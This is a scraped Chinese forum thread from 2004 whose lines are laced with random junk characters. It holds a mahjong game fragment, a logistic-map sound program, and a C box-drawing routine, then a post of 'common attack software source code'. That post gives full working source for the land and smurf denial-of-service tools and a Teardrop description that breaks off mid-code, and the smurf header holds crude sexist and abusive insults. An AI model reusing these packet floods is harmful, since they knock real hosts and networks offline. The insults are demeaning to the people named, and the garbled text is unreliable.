5 ]1 V4 a) `% l4 b* tif(second==1 &amp;&amp; threes==3)
5 j3 ?# n' l8 g/ u: Jprintf("you win!");
if(me.m==12)
if(second==1 &amp;&amp; threes==4)
8 q, e2 M7 D! c; e/ F! T% J- F3 kprintf("you win!");
9 y3 L2 }- S3 P( P
& d2 A) j1 v, Ukkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
{
if(kkk!=temp)
4 H& t0 s: F7 K+ H/ q( S. A- o+ t+ P{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
, q3 a% N, O* ]' j. k: p2 ^}
else
% c. ]# U& [; B# M' d6 vm[computer.pp[kkk].number].data1=1;
6 W! ^/ d. C6 u( Qkkk++;
}
" Q$ ~7 m4 e; [, s! \  gkkk=0;
1 c* f# m% R$ _; c$ Bcomputer.m=computer.m-1;
- a  k; V1 y- ]/ Y  _3 Vwhile(kkk&lt;=computer.m)
{
+ m, _& y, W3 F$ K! Bcomputer.pp[kkk].k=comp.pp[kkk].k;
; k7 D6 d3 @) i5 ]computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( q& E6 g2 P$ u4 G2 w5 mcomputer.pp[kkk].number=comp.pp[kkk].number;
# d( R0 ~0 C7 l7 C' m2 ]kkk++;
* t( ?+ S3 D2 {' X}
1 l% H& n, F. e- `4 V+ l/ mfillRectangle(0,0,320,30,0);
, ]' m& v. X# Z; In=computer.m;
; N" [" W3 z9 {, Xll=0;
zy=0;
while(ll&lt;=n)
{
7 I9 d' ^  i* H; @zy=zy+20;
% D. f+ t2 Y" V. B8 ?% Q7 ashowybmp(ll);
ll++;
}
5 ^. L- L" |, p( {& [" H3 E
2 V( h$ p2 h* ]- e1 }getch();
1 K% L' e# S4 s/ z& d( J) Ysing=0;
* C: P0 N) ]" [2 @. J! T4 s) e+ Xsing1=1;
7 u. M3 d2 d4 B% L; T8 l* w1 y}
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
{
" B5 X1 N$ n" k5 akk=0;
h=me.pp[every].number;
m[h].data1=1; /*此牌已经无用*/
if(sing1!=1)
+ Y% p5 G+ ~$ ~{
zyy=zyy+9280+20;
showbmpd(every);
zyy=zyy-9280;
. p3 ~4 Q7 l/ P}
while(kk!=1)
{
7 x% h! z0 y% ^+ ]: C8 d3 itemp=random(136);
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
4 A7 M% p$ O. T  }{
& c3 L! w9 y) i- Z* [* x& b* [me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
! W3 V0 E0 O" bme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
2 M1 Q1 I" d$ D0 o$ S3 W! Mme.pp[every].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
kk=1;
& f+ t$ a0 d  e$ u7 _! n  A6 l}
if(kk==0) /*判断如果又选择了，就从新再选*/
( b. B  Z) z3 s0 D9 C6 }kk=0;
}
; {/ w3 }# d9 B}
  ~7 {5 D8 r0 H# k$ z- N0 b0 asing=0;
sing1=0;
1 u; Z( z9 g) rmelipai();
3 e' Z+ Z$ b& @$ p' e% jn=13;
* O8 @, C2 j* hz1=54400;
+ f  H# z" e5 C3 wl=0;
g=z;
( w: M7 Y% }. nwhile(l&lt;n)
$ j/ A2 ?, ?! b2 j( a{ z=0;
z1=z1+20;
0 H6 Z" y( [7 C. ?! _9 ~1 oshowbmp(l);
* }, }, \1 A% ~l++;
}
! ~6 C0 ^: n- U, Z4 ^6 ^2 zz1=0;
0 Z$ a* P0 z, ?$ T- k; ?6 J. k: Rz=g;
}
5 F( x& N+ @* ]5 gkeyy=0;
}

4 L4 m* r3 Q# d  o$ Ggetch();
: Y; s# _7 [- y" R# POUTVGA;
6 F* r& \/ v: z6 z) p}
, l8 j, J5 |4 ~# u9 C</P></DIV>

---

作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：

2 @9 s! v$ |( t: P) o" _　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
　　<FONT color=#009900>＃include <DOS.H>
　　＃include <STDIO.H>
　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
　　/＊i,j用于循环记数＊/
　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
　　fDis=fMax－fMin;
& b2 L7 i" M5 ^% B- ^8 z　　for(j=1;;j＋＋){
　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
& q* V. N5 q! b4 Y2 Q- y, f6 `" b　　scanf("％f",＆k);
　　if (k==0) break;
　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
  \, ?! v* i- T. n9 K' |/ h; S　　x=k＊x＊(1－x);
( t! [$ W% F* N# n  T2 r1 i　　for (i=1;i&lt;100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
" @1 @9 X0 ~5 n2 v3 _　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
8 {- v6 \. I' ^0 F　　delay(1000); }
- m" q# {: q& _9 F8 `　　nosound(); }}
　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

---

作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
+ C8 U/ x' R$ b/ ~; @) a- `$ _4 T<FONT color=#009900>/*
*
* Short driver module
*
*/</FONT></P><><FONT color=#009900>main()
{
clrscr();
box(1,1,23,79);
$ a% d3 i" \6 \" vbox(2,2,21,77);
box(3,3,19,75);
box(4,4,17,73);
: }6 p3 ?) r1 C! C% l1 F2 H. @box(5,5,15,71);
7 ~5 C$ O# c$ m' s$ N' g4 [box(6,6,13,69);
box(7,7,11,67);
) Z" {& Z8 Q& ]6 H7 H" rbox(8,8,9,65);
9 B9 P' q. l3 d& I% F4 ibox(9,9,7,63);
* ^  L! n% P, r  s6 cbox(10,10,5,61);
box(11,11,3,59);
8 M, V6 W9 h6 Y* x2 cbox(12,12,1,57);
/ w! |6 D4 K0 B* h$ U. J- O  qposcur(24,1);
}</FONT></P><><FONT color=#009900>/************************************************************
* BOX *
*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
* Modified by: xxxxxxxxxx *
* *
$ j" J5 k6 r2 K$ [* Please modify me! *
* Possible Enhancements include but are not limited t *
* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
* 3) Color options *
, h; Y$ o1 m" l. \4 H- e- X, u* *
( c: j$ {/ Q4 D0 W( M, f* *
; E/ m5 C. V. F" y3 R5 l" i' L* This function builds a simple double frame for a menu. *
* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
' {  B0 O: K4 E8 F+ B) W* of the frame and the width. *
* *
! j* e1 q$ x7 i4 \) {************************************************************/
% l5 m! J2 ~( [5 P3 G2 G#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
3 s) \+ ]% H* P- u* I( v#define URCOR 187
#define LLCOR 200
4 a' E0 s" W: i#define LRCOR 188
6 T# z. i& O$ z6 }% [#define VBAR 186
4 m% E- N  ?1 z8 W: b. z0 z) K#define HBAR 205
8 U! m) [: x% ^( m6 R/ C#define ESC 27</FONT></P><><FONT color=#009900>
. O" c; k& }8 j0 {2 cbox(row, col, hgt, wdth)
, w; j' f  R' t- u+ z3 W& Y) R$ f9 Eint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
putchar(ULCOR);
5 R) O2 h$ ?4 H3 b6 rfor(x = col + 1; x &lt;=(col + wdth -1); x++)
putchar(HBAR);
3 R7 H" `  y- T$ S# F$ l9 Xputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
poscur(x,col);
# C# Q$ n% A6 Q2 d$ Eputchar(VBAR);
( [" ]2 n7 O# E5 C4 |8 aposcur(x,col+wdth);
putchar(VBAR);
/ Q& Y$ S3 W* f" E8 R6 a}
poscur(x,col);
putchar(LLCOR);
* A9 h+ q7 s: Q! j) xfor(x= col + 1; x &lt;=(col + wdth -1); x++)
7 p6 _& g  p0 h3 g6 zputchar(HBAR);
putchar(LRCOR);
$ H/ ^9 p( k1 ?+ t}</FONT></P><><FONT color=#009900>/********************************************************
* POSCUR *
& G  s" t, Z# x; Z' u*------------------------------------------------------*
* This function positions the cursor at the specified *
; q9 T5 C* u  }: U2 v: q2 L: B' v/ J* x,y coordinate. It uses the ANSI standard ESCAPE *
1 ~8 f& }5 [+ v6 r; ]9 q/ @* sequence to produce the desired effect. Its not the *
/ R& u! t* {6 E. W# L* fastest way to position the cursor, but perhaps the *
; n+ p) ]. @& ?. F- ]* most portable. *
; `' n* f; f/ A! z' J- q$ t) s$ T* *
********************************************************/
' W6 y0 a  ], ?4 \) e1 `poscur(xcor,ycor)
& H7 R" c1 [/ A# H! w/ vint xcor,ycor;
/ x8 s5 h" T1 q! b& g: m" A; \{
printf("%c[%d;%dH",ESC,xcor,ycor);
% U3 u7 X3 a+ a( Z}</FONT></P><><FONT color=#009900>
7 e6 e3 {" c- C9 V" N9 B/********************************************************
* CLRSCR *
*------------------------------------------------------*
" x3 u) v% {* z# d$ ^2 t- t* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
********************************************************/
clrscr()
8 m3 t$ O0 _9 `+ q: D; K{
printf("%c[2J",ESC);
}</FONT>
</P>

---

作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
4 G3 M/ ]. a! |' ]4 ~<FONT color=#009900>/* land.c by m3lt, FLC
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
#include <NETDB.H>
#include <ARPA inet.h>
#include <NETINET in.h>
- ?6 a* G# \1 X5 w% N  h, o#include <SYS types.h>
! v6 u% b# i1 L9 p, w; V6 g1 B#include <SYS socket.h>
#include <NETINET ip.h>
) K4 d3 H  [8 f) S: v#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
6 g* q' g% M0 H# z" Astruct in_addr daddr;
! _& s9 f* A' _( G4 Iu_char zero;
( u* B7 p% h, n) |0 X# d; cu_char protocol;
& z9 |' P* l; uu_short length;
3 B9 O0 w3 L( ?2 t  hstruct tcphdr tcpheader;
};</FONT></P><><FONT color=#009900>//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
7 ?/ B( ~8 U- ^/ z, q# r9 [/ A7 rregister long value;
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
9 M( t* p, I% Y4 ?: M2 gvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
9 F# R, Y: F- p9 e. \% Hvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
1 S' |3 A3 F" Z! m}</FONT></P><><FONT color=#009900>
int main(int argc,char * * argv)
" I4 N- Y/ D- q- Q{
. w3 G3 D- `: d9 P( U' c/ i: Dstruct sockaddr_in sin;
struct hostent * hoste;
- f- h2 a' v% O9 l! Q9 Q, @# M; T$ Wint sock;
" |" X0 ?8 Z. X4 ^8 k/ |8 ychar buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
& ]1 U0 z: E9 D0 r, n' V; ?struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
: S) @+ O7 X# x* }8 Z1 B  Cstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
* k/ d- y8 Y$ J" J7 K9 x{
1 {( O6 z* B1 R0 Dfprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
/ v5 i# M, g" P; felse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
6 P2 l% P1 K0 Q! G% _}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
6 s, ?1 n: L" ?. b( I7 M% E+ c  Hreturn(-1);
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
) q6 K6 y& K/ W: q& h2 m5 s  |if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
; C- P- D. k7 R5 C{
) f6 V  t- S6 J- T8 j. C( rfprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
( A: I. H3 e' J* I1 z% j. M}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;version=4;
: Q. r$ i  a, l+ R8 L, o1 w+ c2 vipheader-&gt;ihl=sizeof(struct iphdr)/4;
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;id=htons(0xF1C);
0 A0 k- F! s3 a# ~$ Eipheader-&gt;ttl=255;
7 U0 J) W7 c7 t/ ]ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
4 a3 X* O* w3 B8 |6 g% fipheader-&gt;saddr=sin.sin_addr.s_addr;
9 ^# G% M. N9 f# X, P+ Cipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
6 U+ i( ]' Y( [8 C& t  ctcpheader-&gt;th_sport=sin.sin_port;
tcpheader-&gt;th_dport=sin.sin_port;
tcpheader-&gt;th_seq=htonl(0xF1C);
: H9 {" }! q  ztcpheader-&gt;th_flags=TH_SYN;
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
% x9 {/ n6 V8 p# B0 ]/ Q9 p. \tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
8 Z. x# h4 g8 s8 P: b3 qpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
9 I, ]( T  Y1 _pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
% k/ b; z) ?6 l5 J1 l% S. Apseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
* x' ^+ r. m' V* `tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
* x2 d! H7 l' m+ q0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
{
$ c  S9 {+ l6 x: ^( Q& ~fprintf(stderr,"couldn't send packet\n");
" I' i+ T5 g3 areturn(-1);
0 u$ {9 t7 t. X* z0 i+ S}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
return(0);
9 m6 g9 r! \. l- n- }7 K}</FONT></P><>
, h& G. {3 n* t7 y* i4 k) ^2 Smurf
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
1 {% M7 B$ k. R3 K9 r1 Aicmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
7 _- h: `# w5 A1 N3 f" Z" r- a（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。</P><P>/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
. M& D4 j# Z+ f% o  g*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
  q5 X% w$ C0 d1 j3 F* mad head t
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
- H6 p  c) a. ~$ M. l2 d* have missed (you know who you are).
/ D, Q" f# z0 |8 W*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
, e$ z& B# ?. k! ~9 ?, w- f* half the cheque).
* V  b/ Z; d) F+ c  n& Y+ s*
1 b8 s' o; |' A4 X% E5 i) F* and a special hi to Todd, face it dude, you're fucking awesome.
+ e5 p2 N3 U* R*
. W" q  H& p  Y, }. L* mad anal t
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
7 ?* M6 I7 z/ b9 V* because they plain suck, Rolex for being a twit, everyone that
8 `, @$ l5 |/ j  r* X, {* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
1 {! u- w+ x' c( K3 G  j* your missing out on.
5 Y. h3 H0 _# O*
$ X& j/ {8 l5 \' P" r* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
# g/ ]" W- s0 ?*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* n5 S5 Y- y6 o2 K" _0 ?! |* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
*
* disclaimer:
# x8 z6 C. J0 D: z( ?* x# J* I cannot and will not be held responsible nor legally bound for the
# L+ c! y  o' y& s* malicious activities of individuals who come into possession of this
$ A/ H* s0 }/ G$ d# e" r6 |* program and I refuse to provide help or support of any kind and do NOT
: C& X& i9 \$ }' J- R* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
; t& U/ ~2 d2 B9 B% ]; {*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
0 ?- m4 r, {8 k% r- U4 ?: ^* m* like most programmers don't like seeing bugs in their code. I saw a few
/ k; i! W! m; c+ d* things that should have been done better or needed fixing so I fixed
$ o/ O; p$ L) g9 s7 \; j0 e. l9 ?* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
/ D9 x7 ?# k" k9 p*
% E& ^% A, U/ C4 y9 [! A2 j+ E*/</P><P>#include <SIGNAL.H>
9 ~! ~$ N: {* x5 h4 g#include <STDIO.H>
  _  N; x" ]0 P+ z, o6 z#include <STDLIB.H>
#include <SYS socket.h>
#include <SYS types.h>
9 H5 ]+ r+ t# O$ i#include <NETINET in.h>
8 X- i( z+ n- a#include <NETINET ip.h>
. \- E: M; [# s2 p. q#include <NETINET ip_icmp.h>
1 Q! N8 o( q1 o: c#include <NETDB.H>
#include <CTYPE.H>
#include <ARPA inet.h>
  {, q% ?7 n2 N# i#include <UNISTD.H>
#include <STRING.H></P><P>void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
1 G* h. M' \2 b" ^5 Cvoid ctrlc(int);
5 I0 S/ v( [: f+ `" {unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
* k7 d3 q; Q4 A! _8 SFILE *bcastfile;
; \5 F  s0 }1 |int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
& d, |* r) P" csignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
4 K" J4 }. M% R' \! Mperror("resolving source host");
exit(-1);
}
! O( E9 }  j0 n0 Smemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
1 h+ Q6 {8 S& P; Z7 hsin.sin_family = AF_INET;
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
delay = atoi(argv[4]);
( \6 z2 I% S, L  r) l( z* Tpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
# ^- j1 @9 E( W$ t2 }perror("opening bcast file");
3 H/ k7 H! z, {7 A  Cexit(-1);
4 J9 {' r  e" h. y1 q}
: |' \0 h& T8 i6 d7 m7 `. w4 Mx = 0;
while (!feof(bcastfile)) {
( Y5 Y/ P' B% ]: H! Ffgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
* {9 U7 [) K. }* e7 N! cfor (i = 0; i &lt; strlen(buf); i++)
3 r8 V8 h) T" ^4 S* g! B# Eif (buf == '\n') buf = '\0';
8 `5 d! v! B+ S# ]- B6 C+ B. obcastaddr[x] = malloc(32);
5 y* E1 j) o* |! V  w% Jstrcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
& u& l2 L, `9 u  @" Nfclose(bcastfile);</P><P>if (x == 0) {
) k0 W' ~  D( k: \- Vfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
" ^* U" E/ }6 _3 @1 W  jexit(-1);
}
5 q; `2 s) o4 D5 j. ~9 Tif (pktsize &gt; 1024) {
) D5 `# s% q5 I) \fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
exit(-1);
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
perror("getting socket");
* R. T4 l  t1 s( {exit(-1);
}
- [& D6 _1 z1 o* Csetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
* _1 c( s8 n& J4 @/ Tif (!(i % 25)) { printf("."); fflush(stdout); }
- N5 F3 C! j" @3 R- msmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
: H/ e3 T! l' d  M. j7 g5 ausleep(delay);
# Y+ f" u: }" V" p7 ~}
puts("\n\n");
; b6 G5 S9 a( ]5 n3 g. sreturn 0;
}</P><P>void banner (void)
3 d- a% {) }1 s& N* C{
* p1 U- m& D0 Q! Hputs("\nsmurf.c v4.0 by TFreak\n");
( O2 ~" \, K& |7 [! ]- U}</P><P>void usage (char *prog)
7 Q; O; _- x* _% K* @1 H{
5 B* o) f& @1 `( I5 k; L3 vfprintf(stderr, "usage: %s <TARGET><BCAST file>"
. V, i9 z& O  a3 s2 |"<NUM packets> <PACKET delay><PACKET size>\n\n"
- B3 S! v  i- G" u8 b  C4 N"target = address to hit\n"
3 v. _# R% g. ~: @0 r. W"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (&lt; 1024)\n\n", prog);
2 c' S8 y1 I0 fexit(-1);
  ?8 W/ R' Q0 U8 Q- v' ]}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
1 c- ^/ g: X& z+ K8 v+ wstruct icmphdr *icmp;
* t; h- H0 F2 tchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
" a* e: `5 z; o- o$ P( f& Wip = (struct iphdr *)packet;
7 [9 p% l0 C& ^) jicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
# Z) B! M" L: m& t8 Jip-&gt;ihl = 5;
7 d- O8 A+ K8 w! r) F3 Rip-&gt;version = 4;
- c( O& P4 s: k; K0 {; Zip-&gt;ttl = 255;
ip-&gt;tos = 0;
ip-&gt;frag_off = 0;
ip-&gt;protocol = IPPROTO_ICMP;
ip-&gt;saddr = sin.sin_addr.s_addr;
7 u2 Y6 t/ i+ N3 G/ @( u2 Qip-&gt;daddr = dest;
$ r/ K$ p' Q/ |2 ]: s2 Nip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
2 S2 r: I; b( {: i/ v& cicmp-&gt;type = 8;
icmp-&gt;code = 0;
( N" c0 c8 Q9 Iicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
}</P><P>void ctrlc (int ignored)
) A: O+ G: p. t" I' Y; M) E( J{
puts("\nDone!\n");
exit(1);
2 N* x) V* ?$ H- {% \+ h}</P><P>unsigned short in_chksum (u_short *addr, int len)
{
  D- {; K* Y. \- Y7 S  aregister int nleft = len;
! {. @* ]/ O1 [8 f$ S. Kregister int sum = 0;
' q9 B  D4 f# p) h) y& H3 Fu_short answer = 0;</P><P>while (nleft &gt; 1) {
sum += *addr++;
9 w# Z: T$ g0 H1 @& Vnleft -= 2;
}</P><P>if (nleft == 1) {
2 C  T7 f0 s0 v  z*(u_char *)(&amp;answer) = *(u_char *)addr;
sum += answer;
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
sum += (sum &gt;&gt; 16);
, y5 k9 O- E1 canswer = ~sum;
6 l/ @( A$ K9 k$ ]return(answer);
) x0 w( i8 f. p, v}</P><P>
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
fp = qp-&gt;fragments;
while(fp != NULL)
{
2 ~5 q/ I& K! [6 M2 v+ Cif(count+fp-&gt;len &gt; skb-&gt;len)
{
* E, U/ s- _; h& F: i2 D1 H) Yerror_to_big;
0 [% W7 I" x( f4 ~' E) ~* b}
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
8 u# l, T8 Q" N/ N; I! qcount += fp-&gt;len;
fp = fp-&gt;next;
( Q( Q9 j" P" b}
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
. C+ H1 @. f1 |! o# y是这样处理的：
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
{
$ q: ~7 f7 o# `. x! mi = prev-&gt;end - offset;
offset += i; /* ptr into datagram */
